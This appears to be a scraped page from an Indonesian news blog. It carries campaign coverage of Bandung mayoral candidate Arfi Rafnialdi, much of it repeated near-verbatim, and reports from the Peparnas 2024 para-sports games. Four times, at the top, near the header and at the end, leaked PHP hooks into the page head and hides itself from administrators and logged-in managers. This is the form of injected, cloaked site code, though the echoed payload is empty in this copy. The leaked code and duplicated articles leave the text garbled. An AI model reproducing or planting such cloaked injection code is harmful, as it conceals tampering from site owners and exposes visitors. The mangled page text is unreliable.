if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 245 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Arfi Rafnialdi: “Kolaborasi Kunci Menciptakan Lapangan Kerja di Kota Bandung”

    BANDUNG, VISTA NUSANTARASorak-sorai dari emak-emak menyambut kedatangan calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati, Kota Bandung, Rabu (9/10/2024). Bersama emak-emak tersebut, Kang Arfi berdialog ihwal sejumlah hal, di antaranya pemberdayaan ekonomi masyarakat, sistem penerimaan peserta didik baru, pemberantasan bank emok atau praktik rentenir. 
    Upaya atas sejumlah hal yang dibahas dalam dialog tersebut menjadi bagian dalam visi dan misi Kang Arfi-Teh Yena. Penanganan persoalan-persoalan itu kentara pada misi mewujudkan sumber daya manusia yang sehat, religius, kreatif dan berdaya saing, meningkatkan kesejahteraan warga melalui pengembangan ekonomi, mewujudkan kota yang tangguh dan berkelanjutan. 
    Terdapat salah seorang warga yang menjalankan usaha pakaian jadi anak-anak dengan jenama Tee-Kay Kidswear di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati. Warga itu bernama Sofia Ratna Anggareni. 
    Usaha Sofia menyerap sekitar 100 tenaga kerja. Jumlah itu belum termasuk tenaga pemasaran yang berjumlah sekitar 200, tersebar di berbagai daerah.
    “Sebanyak 100 tenaga kerja, di antaranya mencakup penjahit, tim kreatif. Sebagian dari jumlah itu ada di Banjaran dan Soreang, Kabupaten Bandung. Sementara itu, untuk marketing yang terdaftar di kami, berjumlah sekitar 200. Tentu, ada lagi yang lain, seperti agen, reseller, dan tenaga lain di sisi distribusi,” tutur Sofia. 
    Sofia berharap, Wali Kota dan Wakil Wali Kota Bandung berikutnya makin menguatkan keberpihakan pada pelaku industri kecil menangah maupun usaha mikro kecil menengah (UMKM). Bentuknya, bisa berupa bantuan modal, kemudahan pembuatan nomor induk berusaha serta pengurusan hak kekayaan intelektual (HKI). 
    “Kami juga berharap, pemerintah lebih gencar menyosialisasikan program. Tak hanya lebih gencar, sosialisasi langsung ke para pelaku usaha,” ucap dia. 
    Merespons hal itu, Kang Arfi mengatakan, Kota Bandung membutuhkan pelaku usaha seperti Sofia Ratna Anggraeni. Bukanya hanya memberdayakan warga Jatihandap, usaha Sofia memberi peluang, bahkan sumber penghasilan bagi warga di berbagai daerah. 
    “Barusan, Teh Sofia bercerita ihwal terciptanya ekosistem wirausaha di Kota Bandung. Nilai manfaatnya sampai ke berbagai daerah lain. Lapangan kerja merupakan salah satu kebutuhan mendesak warga Kota Bandung. Dengan usahanya, Teh Sofia turut menyerap angkatan kerja,” tutur Kang Arfi.
    Dukungan kepada pelaku usaha sebagaima halnya Sofia, ucap Kang Arfi, tentu termasuk program prioritasnya bersama Teh Yena. Menurut Kang Arfi, Pemkot Bandung mesti proaktif untuk memberikan dukungan kepada IKM dan UMKM. Bentuknya, bisa berupa kemudahan perizinan, pengurusan HKI atas jenama, akses pemasaran, maupun bantuan permodalan. 
    “Kebutuhan tiap-tiap pelaku usaha berbeda-beda. Pemberian dukungan disesuaikan dengan kebutuhan pelaku usaha bersangkutan untuk naik kelas, kemudian menyerap lebih banyak angkatan kerja,” ucap Kang Arfi. 
    Orientasi program pasangan Kang Arfi-Teh Yena, di antaranya, membuka lapangan kerja sebanyak-banyaknya. Langkahnya, atas prakarsa pemerintah maupun yang kolaborasi dengan para pemangku kepentingan. 
    Kang Arfi berpandangan, sumber daya di Kota Bandung memadai dalam hal membangun kolaborasi untuk mendukung ekosistem usaha serta membuka lapangan kerja. “Ada Bank Bandung, Pemerintah Kota Bandung juga punya saham di Bank BJB. Selain itu, ada Kadin, serta himpunan-himpunan pengusaha. Kolaborasi pemerintah dengan para pemangku kepentingan itu menjadi bagian kekuatan untuk mendukung IKM dan UMKM, serta membuka lapangan kerja,” ucap Kang Arfi. 
    Program priotas untuk mendukung pelaku usaha, serta membuka lapangan kerja sebanyak-banyaknya selaras dengan kalimat “mendukung kehidupan berkualitas” yang tertera dalam visi Kang Arfi-Teh Yena.***
  • Mewujudkan Ekosistem Wirausaha Arfi Rafnialdi Ajak Pelaku UMKM Berkolaborasi

    BANDUNG, VISTA NUSANTARA – Sorak-sorai dari emak-emak menyambut kedatangan calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati, Kota Bandung, Rabu (9/10/2024). Bersama emak-emak tersebut, Kang Arfi berdialog ihwal sejumlah hal, di antaranya pemberdayaan ekonomi masyarakat, sistem penerimaan peserta didik baru, pemberantasan bank emok atau praktik rentenir. 
    Upaya atas sejumlah hal yang dibahas dalam dialog tersebut menjadi bagian dalam visi dan misi Kang Arfi-Teh Yena. Penanganan persoalan-persoalan itu kentara pada misi mewujudkan sumber daya manusia yang sehat, religius, kreatif dan berdaya saing, meningkatkan kesejahteraan warga melalui pengembangan ekonomi, mewujudkan kota yang tangguh dan berkelanjutan. 
    Terdapat salah seorang warga yang menjalankan usaha pakaian jadi anak-anak dengan jenama Tee-Kay Kidswear di RW 6 Kelurahan Jatihandap, Kecamatan Mandalajati. Warga itu bernama Sofia Ratna Anggareni. 
    Usaha Sofia menyerap sekitar 100 tenaga kerja. Jumlah itu belum termasuk tenaga pemasaran yang berjumlah sekitar 200, tersebar di berbagai daerah.
    “Sebanyak 100 tenaga kerja, di antaranya mencakup penjahit, tim kreatif. Sebagian dari jumlah itu ada di Banjaran dan Soreang, Kabupaten Bandung. Sementara itu, untuk marketing yang terdaftar di kami, berjumlah sekitar 200. Tentu, ada lagi yang lain, seperti agen, reseller, dan tenaga lain di sisi distribusi,” tutur Sofia. 
    Sofia berharap, Wali Kota dan Wakil Wali Kota Bandung berikutnya makin menguatkan keberpihakan pada pelaku industri kecil menangah maupun usaha mikro kecil menengah (UMKM). Bentuknya, bisa berupa bantuan modal, kemudahan pembuatan nomor induk berusaha serta pengurusan hak kekayaan intelektual (HKI). 
    “Kami juga berharap, pemerintah lebih gencar menyosialisasikan program. Tak hanya lebih gencar, sosialisasi langsung ke para pelaku usaha,” ucap dia. 
    Merespons hal itu, Kang Arfi mengatakan, Kota Bandung membutuhkan pelaku usaha seperti Sofia Ratna Anggraeni. Bukanya hanya memberdayakan warga Jatihandap, usaha Sofia memberi peluang, bahkan sumber penghasilan bagi warga di berbagai daerah. 
    “Barusan, Teh Sofia bercerita ihwal terciptanya ekosistem wirausaha di Kota Bandung. Nilai manfaatnya sampai ke berbagai daerah lain. Lapangan kerja merupakan salah satu kebutuhan mendesak warga Kota Bandung. Dengan usahanya, Teh Sofia turut menyerap angkatan kerja,” tutur Kang Arfi.
    Dukungan kepada pelaku usaha sebagaima halnya Sofia, ucap Kang Arfi, tentu termasuk program prioritasnya bersama Teh Yena. Menurut Kang Arfi, Pemkot Bandung mesti proaktif untuk memberikan dukungan kepada IKM dan UMKM. Bentuknya, bisa berupa kemudahan perizinan, pengurusan HKI atas jenama, akses pemasaran, maupun bantuan permodalan. 
    “Kebutuhan tiap-tiap pelaku usaha berbeda-beda. Pemberian dukungan disesuaikan dengan kebutuhan pelaku usaha bersangkutan untuk naik kelas, kemudian menyerap lebih banyak angkatan kerja,” ucap Kang Arfi. 
    Orientasi program pasangan Kang Arfi-Teh Yena, di antaranya, membuka lapangan kerja sebanyak-banyaknya. Langkahnya, atas prakarsa pemerintah maupun yang kolaborasi dengan para pemangku kepentingan. 
    Kang Arfi berpandangan, sumber daya di Kota Bandung memadai dalam hal membangun kolaborasi untuk mendukung ekosistem usaha serta membuka lapangan kerja. “Ada Bank Bandung, Pemerintah Kota Bandung juga punya saham di Bank BJB. Selain itu, ada Kadin, serta himpunan-himpunan pengusaha. Kolaborasi pemerintah dengan para pemangku kepentingan itu menjadi bagian kekuatan untuk mendukung IKM dan UMKM, serta membuka lapangan kerja,” ucap Kang Arfi. 
    Program priotas untuk mendukung pelaku usaha, serta membuka lapangan kerja sebanyak-banyaknya selaras dengan kalimat “mendukung kehidupan berkualitas” yang tertera dalam visi Kang Arfi-Teh Yena.***
  • 92 Atlet Ikuti Cabang Boccia di Peparnas 2024 Setelah Proses Klasifikasi

    VISTA NUSANTARA — Sebanyak 92 atlet mengikuti cabang olahraga boccia pada Pekan Paralimpiade Nasional (Peparnas) XVII Solo 2024 yang diselenggarakan di GOR Fakultas Keolahragaan UNS Surakarta, Jawa Tengah.


    Manajer Kompetisi cabang olahraga boccia Yanuar Duma Ardiyanto di Solo, Jawa Tengah, Rabu, mengatakan awalnya data yang masuk sebanyak 96 atlet, namun ada empat yang gagal pada tahap klasifikasi.

    “Data yang masuk ada 96 atlet, tapi ada yang gagal klasifikasi sehingga tidak bisa masuk ke boccia. Dengan adanya pengurangan tinggal 92 atlet yang mengikuti cabang ini,” katanya.

    Sementara itu, menurut dia, hingga hari ketiga ini fase grup untuk kategori BC1, BC2, BC4, dan BC5 sudah selesai sehingga hanya menyisakan pertandingan untuk BC3.

    “Untuk kategori BC3 ini kami masih ada fase grup karena peserta memang terbatas. Ini kami menyelesaikan full kompetisi dulu. Untuk BC3 ini hitungannya bukan lolos dan tidak tetapi langsung proses ranking,” katanya.

    Sedangkan untuk kategori BC1, BC2, BC4, dan BC5 akan dilanjutkan pada babak delapan besar dengan fase gugur.

    “Perebutan medali ada yang nanti mulai Kamis (10/10),” katanya.

    Ia mengatakan kategori ini disesuaikan dengan tingkat kecacatan. Untuk BC1 dan BC2 merupakan atlet penyandang celebral palcy. Sedangkan untuk BC3 merupakan atlet yang tidak memiliki kemampuan untuk memegang bola.

    “Jadi untuk kategori ini atlet harus menggunakan ramp atau papan luncur bola, karena tidak punya kemampuan melempar bola jadi bisa menggunakan itu. Para atlet di BC3 ini akan mengarahkan bola dengan bantuan operator atau ramp operator. Biasanya operator ini yang mendampingi keseharian mereka. Ramp operator ini tidak boleh berada di lapangan,” katanya.

    Selanjutnya, untuk atlet BC4 dan BC5 ini lebih ringan, yaitu memiliki kelemahan otot atau gangguan autoimun.***
  • Peparnas 2024 Jadi Kejuaraan Para-Balap Sepeda Pertama di Indonesia

    VISTA NUSANTARA — National Paralympic Committee of Indonesia (NCPI) menyatakan, Indonesia membutuhkan kejuaraan para-balap sepeda demi membangkitkan dan meratakan perkembangan olahraga tersebut di seluruh wilayah tanah air.


    “Kalau kompetisinya belum ada, sulit untuk melakukan pembinaan di daerah,” ujar koordinator paracycling atau para-balap sepeda NPCI Fadilah Umar di Velodrome Manahan, Solo, Selasa (8/10).

    Menurut Fadilah masalah kompetisi tersebut membuat perkembangan para-balap sepeda menjadi tidak merata.

    Dia melanjutkan, satu-satunya kompetisi yang melaksanakan pertandingan khusus untuk para-balap sepeda nasional adalah Pekan Paralimpiade Nasional (Peparnas).Belum siapnya pihak daerah untuk para-balap sepeda terlihat di Peparnas 2024. Di kejuaraan multicabang yang dilaksanakan di Solo itu, Fadilah menyebut ada beberapa provinsi yang tidak membawa sepeda sendiri. Beruntung, semua kontingen yang berpartisipasi di cabang olahraga itu sepakat saling membantu demi kelancaran Peparnas 2024.

    “Semua sepakat untuk mengembangkan cabang olahraga ini bersama. Saya pribadi berharap teman-teman di provinsi yang antusias untuk mengembangkan para-balap sepeda memberitahukan kepada kami jika ada sesuatu yang belum diketahui. Kami akan memberikan edukasi tentang hal tersebut,” kata pria yang juga technical delegate di cabang olahraga para-balap sepeda Peparnas 2024 itu.

    Selama ini, dia melanjutkan, untuk mengatasi kelangkaan kompetisi para-balap sepeda nasional, NPCI mengikutkan pembalap sepeda disabilitasnya ke turnamen umum.

    Pada rentang tahun 2022-2024, Fadilah menyampaikan pihaknya setidak-tidaknya melakukan hal tersebut di dua kompetisi yang berbeda.

    “Kalau ada event nasional yang kira-kira tidak membahayakan anak-anak (pembalap para-balap sepeda-red) dan memberikan atmosfer kompetitif makan akan kami ikutkan,” tutur dia.

    Namun, pihaknya harus menunggu sampai tahun 2024, hingga para-balap sepeda dipertandingkan di Peparnas 2024, yang merupakan pelaksanaan perdana laga cabang olahraga tersebut sepanjang sejarah pesta olahraga untuk atlet disabilitas itu.***
  • Arfi Rafnialdi dan Yena Iskandar, Sinergi Ekonomi dan Lingkungan di Cibuntu

    BANDUNG, VISTA NUSANTARADalam misi mereka membangun Kota Bandung yang nyaman dan berkelanjutan, pasangan calon Wali Kota dan Wakil Wali Kota, Arfi Rafnialdi dan Yena Iskandar Ma’soem, berfokus pada keberlanjutan lingkungan saat bertemu perajin tahu di Cibuntu. Kang Arfi menekankan bahwa pertumbuhan usaha harus memperhatikan kualitas lingkungan.


    “Kami berkomitmen untuk memastikan usaha di sentra tahu ini berkembang tanpa mengorbankan kualitas lingkungan,” ujarnya. Para perajin berharap dukungan pemerintah untuk pembangunan instalasi pengolahan air limbah (IPAL), yang diharapkan dapat mengelola limbah dengan lebih baik dan menciptakan lingkungan yang bersih dan sehat.***
  • Pertemuan Arfi-Yena dengan Perajin Tahu, Komitmen Terhadap Lingkungan

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menunjukkan komitmen mereka terhadap keberlanjutan lingkungan dalam pertemuan dengan perajin tahu di Cibuntu. Kang Arfi menyatakan bahwa pertumbuhan ekonomi lokal harus sejalan dengan kelestarian lingkungan.


    “Kami berkomitmen untuk memastikan usaha di sentra tahu ini berkembang tanpa mengorbankan kualitas lingkungan,” tegasnya. Para perajin meminta dukungan pemerintah untuk pembangunan instalasi pengolahan air limbah (IPAL) guna meningkatkan pengelolaan limbah dan menciptakan lingkungan yang lebih sehat.***
  • Arfi-Yena Membangun Ekonomi Lokal dengan Memperhatikan Lingkungan

    BANDUNG, VISTA NUSANTARADalam upaya membangun Kota Bandung yang nyaman dan berkelanjutan, pasangan calon Wali Kota dan Wakil Wali Kota, Arfi Rafnialdi dan Yena Iskandar Ma’soem, mengunjungi perajin tahu di Cibuntu untuk membahas kelestarian lingkungan. Kang Arfi menekankan bahwa pertumbuhan usaha harus berjalan beriringan dengan perlindungan lingkungan.
    “Kami berkomitmen untuk memastikan usaha di sentra tahu ini berkembang tanpa mengorbankan kualitas lingkungan,” katanya. Dukungan dalam pembangunan instalasi pengolahan air limbah (IPAL) menjadi harapan utama para perajin untuk mengelola limbah mereka dengan lebih baik dan menciptakan lingkungan yang lebih bersih.***
  • Fokus Pada Keberlanjutan, Arfi Rafnialdi dan Yena Iskandar Temui Perajin Tahu Cibuntu

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, melakukan pertemuan dengan perajin tahu di Cibuntu untuk mendiskusikan pentingnya keberlanjutan lingkungan dalam pengembangan usaha lokal. Dalam pertemuan tersebut, Kang Arfi menegaskan bahwa pertumbuhan ekonomi tidak boleh mengorbankan kualitas lingkungan.
    “Kami berkomitmen untuk memastikan usaha di sentra tahu ini berkembang tanpa mengorbankan kualitas lingkungan,” ungkapnya. Para perajin berharap pemerintah mendukung pembangunan instalasi pengolahan air limbah (IPAL) agar limbah dapat dikelola dengan lebih baik, meningkatkan kesehatan lingkungan.***
  • Kang Arfi dan Teh Yena Komitmen Untuk Keberlanjutan Lingkungan Dalam Ekonomi Lokal

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung, Arfi Rafnialdi dan Yena Iskandar Ma’soem, menekankan pentingnya kelestarian lingkungan dalam pengembangan ekonomi lokal. Dalam pertemuan dengan para perajin tahu di Cibuntu, Kang Arfi menyatakan bahwa usaha lokal harus berjalan seiring dengan perlindungan lingkungan.


    “Kami berkomitmen untuk memastikan usaha di sentra tahu ini berkembang tanpa mengorbankan kualitas lingkungan,” ujarnya. Hal ini sejalan dengan harapan para perajin yang menginginkan dukungan dari pemerintah dalam membangun instalasi pengolahan air limbah (IPAL).

    Dengan adanya IPAL, diharapkan limbah dari usaha perajin tahu dapat dikelola dengan lebih baik, menciptakan lingkungan yang lebih bersih dan sehat bagi masyarakat sekitar.***
  • Serunya Goalball Peparnas 2024, Hiburan dalam Keheningan

    VISTA NUSANTARA — Penonton Pekan Paralimpiade Nasional (Peparnas) 2024 menikmati keseruan pertandingan cabang olahraga goalball di GOR UNS Surakarta yang digelar dalam kesunyian.

    “Pertandingan seru karena butuh konsentrasi pendengaran para atletnya,” kata penonton bernama Laela Intan Aprilianti saat menyaksikan pertandingan di Solo pada Selasa.

    Goalball adalah olahraga tim yang dirancang khusus untuk atlet yang mengalami gangguan penglihatan, termasuk mereka yang memiliki kebutaan total dan penglihatan sangat terbatas.

    Wasit yang memimpin pertandingan selalu meminta penonton untuk tenang sebelum pemain melempar bola agar tidak merusak konsentrasi.

    Mahasiswi Universitas Duta Bangsa Surakarta itu bukan kali ini saja menyaksikan pertandingan goalball.

    “Dulu waktu ASEAN Paragames 2022 juga sempat menonton Goalball,” kata Laela, yang menilai laga cabang olahraga ini seru meski tanpa sorakan penonton.

    Sabrina Aulia, warga Karanganyar, yang sengaja datang ke GOR UNS untuk menyaksikan cabang olahraga tersebut, juga menyebut pertandingan cabang ini seru.

    Goalball bukan satu-satunya cabang olahraga dalam Peparnas 2024 yang disaksikan Sabrina.

    Perempuan yang baru saja lulus kuliah ini juga menyempatkan diri menonton anggar kursi roda yang digelar di Hotel Solia Zigna Solo.

    Menurut dia, menyaksikan langsung berbagai cabang olahraga yang dipertandingkan dalam Peparnas ini enambah pengalaman tentang atlet penyandang disabilitas.

    Peparnas 2024 di Solo mempertandingkan 20 cabang olahraga, dari 6 hingga 13 Oktober 2024.***

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);